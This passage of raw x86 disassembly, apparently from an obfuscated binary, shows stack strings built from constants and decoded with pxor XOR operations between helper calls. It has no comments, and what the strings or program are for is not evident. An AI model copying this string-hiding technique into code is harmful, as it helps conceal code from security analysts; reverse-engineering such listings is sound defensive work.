movaps xmmword [ebp - 0x1300], xmm1
mov dword [ebp - 0x890], 0xf30e1313
mov dword [ebp - 0x88c], 0xc90bb5a
mov dword [ebp - 0x888], 0x371dd8e8
mov dword [ebp - 0x884], 0xeacb9107
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x12f0]
movaps xmmword [ebp - 0x12f0], xmm1
mov dword [ebp - 0x880], 0xd9177dfd
mov dword [ebp - 0x87c], 0xf70e4f10
mov dword [ebp - 0x878], 0x4ad2c1aa
mov dword [ebp - 0x874], 0x85bc3e3d
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x12e0]
push eax
movaps xmmword [ebp - 0x12e0], xmm1
call fcn.0044b300
add esp, 4
lea ecx, [ebp - 0x2230]
call fcn.0045e3a0
push eax
push 0x66ee50
call fcn.0044b300
mov dword [ebp - 0x850], 0xad0fb86b
mov dword [ebp - 0x84c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0xb50], 0xfe5af93b
mov dword [ebp - 0xb4c], 0x875c9a77
mov dword [ebp - 0xb48], 0x51a004c0
lea eax, [ebp - 0xb50]
mov dword [ebp - 0xb44], 0x863b5edf
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xb50]
push eax
movaps xmmword [ebp - 0xb50], xmm1
call fcn.005d657d
add esp, 0xc
push 0
call fcn.005d6b1f
lea eax, [ebp - 0x1d38]
mov dword [ebp - 0x1d68], 0xc96ed727
push eax
lea eax, [ebp - 0x1d68]
mov dword [ebp - 0x1d64], 0xf17ce857
push eax
lea ecx, [ebp - 0x33e8]
mov dword [ebp - 0x1d60], 0x38d376a5
mov dword [ebp - 0x1d5c], 0xe51b30b0
mov dword [ebp - 0x1d58], 0x1b5c501d
mov dword [ebp - 0x1d54], 0x6cfd9508
mov dword [ebp - 0x1d50], 0x287f7b0e
mov dword [ebp - 0x1d4c], 0x58380f5
mov dword [ebp - 0x1d48], 0x2580f4ee
mov dword [ebp - 0x1d44], 0xe8098c22
mov dword [ebp - 0x1d40], 0x4bd4e075
mov dword [ebp - 0x1d3c], 0x75fc290d
call fcn.0045f450
lea eax, [ebp - 0x1d68]
mov dword [ebp - 0x8a0], 0xad0fb86b
push eax
lea eax, [ebp - 0x1d98]
mov dword [ebp - 0x89c], 0x875c9a32
push eax
lea ecx, [ebp - 0x33e0]
mov dword [ebp - 0x1d98], 0xad0fb86b
mov dword [ebp - 0x1d94], 0x875c9a32
mov dword [ebp - 0x898], 0x51a004c0
mov dword [ebp - 0x894], 0x863b5edf
mov dword [ebp - 0x1d90], 0x51a004c0
mov dword [ebp - 0x1d8c], 0x863b5edf
mov dword [ebp - 0x890], 0x703f3575
mov dword [ebp - 0x88c], 0x59cf328
mov dword [ebp - 0x1d88], 0x703f3575
mov dword [ebp - 0x1d84], 0x59cf328
mov dword [ebp - 0x888], 0x41b1e62
mov dword [ebp - 0x884], 0x60eff0d5
mov dword [ebp - 0x1d80], 0x41b1e62
mov dword [ebp - 0x1d7c], 0x60eff0d5
mov dword [ebp - 0x880], 0x5e5878f
mov dword [ebp - 0x87c], 0xc870fe56
mov dword [ebp - 0x1d78], 0x5e5878f
mov dword [ebp - 0x1d74], 0xc870fe56
mov dword [ebp - 0x878], 0x22b58714
mov dword [ebp - 0x874], 0x75f60763
mov dword [ebp - 0x1d70], 0x22b58714
mov dword [ebp - 0x1d6c], 0x75f60763
call fcn.0045f450
lea eax, [ebp - 0x1d98]
mov dword [ebp - 0xf60], 0xc96ed727
push eax
lea eax, [ebp - 0x1dc8]
mov dword [ebp - 0xf5c], 0xf17ce857
push eax
lea ecx, [ebp - 0x33d8]
mov dword [ebp - 0x1dc8], 0xc96ed727
mov dword [ebp - 0x1dc4], 0xf17ce857
mov dword [ebp - 0xf58], 0x38d376a5
mov dword [ebp - 0xf54], 0xe51b30b0
mov dword [ebp - 0x1dc0], 0x38d376a5
mov dword [ebp - 0x1dbc], 0xe51b30b0
mov dword [ebp - 0xf50], 0x1b5c501d
mov dword [ebp - 0xf4c], 0x6cfd9508
mov dword [ebp - 0x1db8], 0x1b5c501d
mov dword [ebp - 0x1db4], 0x6cfd9508
mov dword [ebp - 0xf48], 0x287f7b0e
mov dword [ebp - 0xf44], 0x58380f5
mov dword [ebp - 0x1db0], 0x287f7b0e
mov dword [ebp - 0x1dac], 0x58380f5
mov dword [ebp - 0xf40], 0x2580f4ee
mov dword [ebp - 0xf3c], 0xe8098c22
mov dword [ebp - 0x1da8], 0x2580f4ee
mov dword [ebp - 0x1da4], 0xe8098c22
mov dword [ebp - 0xf38], 0x4bd4e075
mov dword [ebp - 0xf34], 0x75fc290d
mov dword [ebp - 0x1da0], 0x4bd4e075
mov dword [ebp - 0x1d9c], 0x75fc290d
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xf60]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0xf60], xmm1
movaps xmm1, xmmword [ebp - 0x890]
lea eax, [ebp - 0xf60]
pxor xmm1, xmmword [ebp - 0xf50]
movaps xmmword [ebp - 0xf50], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf40]
push eax
movaps xmmword [ebp - 0xf40], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x2d00], 0xfe5af93b
lea eax, [ebp - 0x2cf0]
mov dword [ebp - 0x2cfc], 0x875c9a77
lea ecx, [ebp - 0x33d0]
mov dword [ebp - 0x2cf8], 0x51a004c0
mov dword [ebp - 0x2cf4], 0x863b5edf
push eax
lea eax, [ebp - 0x2d00]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2d00]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2d10]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x33c8]
mov dword [ebp - 0x2d10], 0xad0fb86b
mov dword [ebp - 0x2d0c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2d08], 0x51a004c0
mov dword [ebp - 0x2d04], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2d10]
mov dword [ebp - 0xad0], 0xfe5af93b
push eax
lea eax, [ebp - 0x2d20]
mov dword [ebp - 0xacc], 0x875c9a77
push eax
lea ecx, [ebp - 0x33c0]
mov dword [ebp - 0x2d20], 0xfe5af93b
mov dword [ebp - 0x2d1c], 0x875c9a77
mov dword [ebp - 0xac8], 0x51a004c0
mov dword [ebp - 0xac4], 0x863b5edf
mov dword [ebp - 0x2d18], 0x51a004c0
mov dword [ebp - 0x2d14], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xad0]
lea eax, [ebp - 0xad0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xad0], xmm1
call fcn.005d657d
add esp, 4
push 0
call fcn.005d6b1f
lea eax, [ebp - 0x2d20]
mov dword [ebp - 0x2d30], 0xad6ab845
push eax
lea eax, [ebp - 0x2d30]
mov dword [ebp - 0x2d2c], 0x87399a4a
push eax
lea ecx, [ebp - 0x33b8]
mov dword [ebp - 0x2d28], 0x51a004c0
mov dword [ebp - 0x2d24], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2d30]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2d40]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x33b0]
mov dword [ebp - 0x2d40], 0xad0fb86b
mov dword [ebp - 0x2d3c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2d38], 0x51a004c0
mov dword [ebp - 0x2d34], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2d40]
mov dword [ebp - 0xb60], 0xad6ab845
push eax
lea eax, [ebp - 0x2d50]
mov dword [ebp - 0xb5c], 0x87399a4a
push eax
lea ecx, [ebp - 0x33a8]
mov dword [ebp - 0x2d50], 0xad6ab845
mov dword [ebp - 0x2d4c], 0x87399a4a
mov dword [ebp - 0xb58], 0x51a004c0
mov dword [ebp - 0xb54], 0x863b5edf
mov dword [ebp - 0x2d48], 0x51a004c0
mov dword [ebp - 0x2d44], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x2278]
pxor xmm1, xmmword [ebp - 0xb60]
mov edx, 0xe
movaps xmmword [ebp - 0xb60], xmm1
call fcn.0044c1d0
lea ecx, [ebp - 0xb60]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x2248]
call fcn.00460660
add esp, 4
lea ecx, [ebp - 0x2278]
mov byte [ebp - 4], 0xf
call fcn.0045e100
sub esp, 0x18
lea eax, [ebp - 0x2248]
mov ecx, esp
mov dword [ebp - 0x2b34], esp
push eax
call fcn.0045e230
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x17d8]
push eax
lea eax, [ebp - 0x17f8]
mov dword [ebp - 0x17f8], 0xcc60d444
push eax
lea ecx, [ebp - 0x33a0]
mov dword [ebp - 0x17f4], 0xa92eff56
mov dword [ebp - 0x17f0], 0x23c36aa5
mov dword [ebp - 0x17ec], 0xe34f2ea6
mov dword [ebp - 0x17e8], 0x195d1b11
mov dword [ebp - 0x17e4], 0x59cf346
mov dword [ebp - 0x17e0], 0x41b1e62
mov dword [ebp - 0x17dc], 0x60eff0d5
call fcn.0045f450
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
lea eax, [ebp - 0x1698]
mov dword [ebp - 0x16b8], 0xad0fb86b
push eax
lea eax, [ebp - 0x16b8]
mov dword [ebp - 0x16b4], 0x875c9a32
push eax
lea ecx, [ebp - 0x3310]
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x16b0], 0x51a004c0
mov dword [ebp - 0x16ac], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x16a8], 0x703f3575
mov dword [ebp - 0x16a4], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x16a0], 0x41b1e62
mov dword [ebp - 0x169c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1678]
mov dword [ebp - 0xe80], 0xcc60d444
push eax
lea eax, [ebp - 0x1698]
mov dword [ebp - 0xe7c], 0xa92eff56
push eax
lea ecx, [ebp - 0x3398]
mov dword [ebp - 0x1698], 0xcc60d444
mov dword [ebp - 0x1694], 0xa92eff56
mov dword [ebp - 0xe78], 0x23c36aa5
mov dword [ebp - 0xe74], 0xe34f2ea6
mov dword [ebp - 0x1690], 0x23c36aa5
mov dword [ebp - 0x168c], 0xe34f2ea6
mov dword [ebp - 0xe70], 0x195d1b11
mov dword [ebp - 0xe6c], 0x59cf346
mov dword [ebp - 0x1688], 0x195d1b11
mov dword [ebp - 0x1684], 0x59cf346
mov dword [ebp - 0xe68], 0x41b1e62
mov dword [ebp - 0xe64], 0x60eff0d5
mov dword [ebp - 0x1680], 0x41b1e62
mov dword [ebp - 0x167c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xe80]
pxor xmm1, xmmword [ebp - 0xe80]
sub esp, 0x18
movaps xmmword [ebp - 0xe80], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xe70]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b2c], esp
push eax
movaps xmmword [ebp - 0xe70], xmm1
call fcn.0045e6b0
lea eax, [ebp - 0x2d50]
mov byte [ebp - 4], 0x11
push eax
lea eax, [ebp - 0x2d60]
mov dword [ebp - 0x2d60], 0xca6dcd1b
push eax
lea ecx, [ebp - 0x3390]
mov dword [ebp - 0x2d5c], 0xe92ab45f
mov dword [ebp - 0x2d58], 0x7fd865a8
mov dword [ebp - 0x2d54], 0x865631bc
call fcn.0045f450
lea eax, [ebp - 0x2d60]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2d70]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3388]
mov dword [ebp - 0x2d70], 0xad0fb86b
mov dword [ebp - 0x2d6c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2d68], 0x51a004c0
mov dword [ebp - 0x2d64], 0x863b5edf
call fcn.0045f450
mov dword [ebp - 0xb70], 0xca6dcd1b
lea eax, [ebp - 0x2d70]
mov dword [ebp - 0xb6c], 0xe92ab45f
push eax
lea eax, [ebp - 0x2d80]
mov dword [ebp - 0x2d80], 0xca6dcd1b
push eax
lea ecx, [ebp - 0x3380]
mov dword [ebp - 0x2d7c], 0xe92ab45f
mov dword [ebp - 0xb68], 0x7fd865a8
mov dword [ebp - 0xb64], 0x865631bc
mov dword [ebp - 0x2d78], 0x7fd865a8
mov dword [ebp - 0x2d74], 0x865631bc
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xb70]
lea eax, [ebp - 0xb70]
pxor xmm1, xmmword [ebp - 0x850]
sub esp, 0x18
mov ecx, esp
movaps xmmword [ebp - 0xb70], xmm1
push eax
call fcn.0045e6b0
mov ecx, esi
mov byte [ebp - 4], 0xf
call fcn.00453a30
add esp, 0x48
lea ecx, [ebp - 0x2248]
push 0xc0
call fcn.0045e0f0
mov dl, 1
mov ecx, eax
call fcn.0044c4f0
sub esp, 0x14
lea eax, [ebp - 0x2248]
mov ecx, esp
push eax
call fcn.0045e230
lea ecx, [ebp - 0x840]
call fcn.0044c430
add esp, 0x18
push 0
call fcn.005d6b1f
int3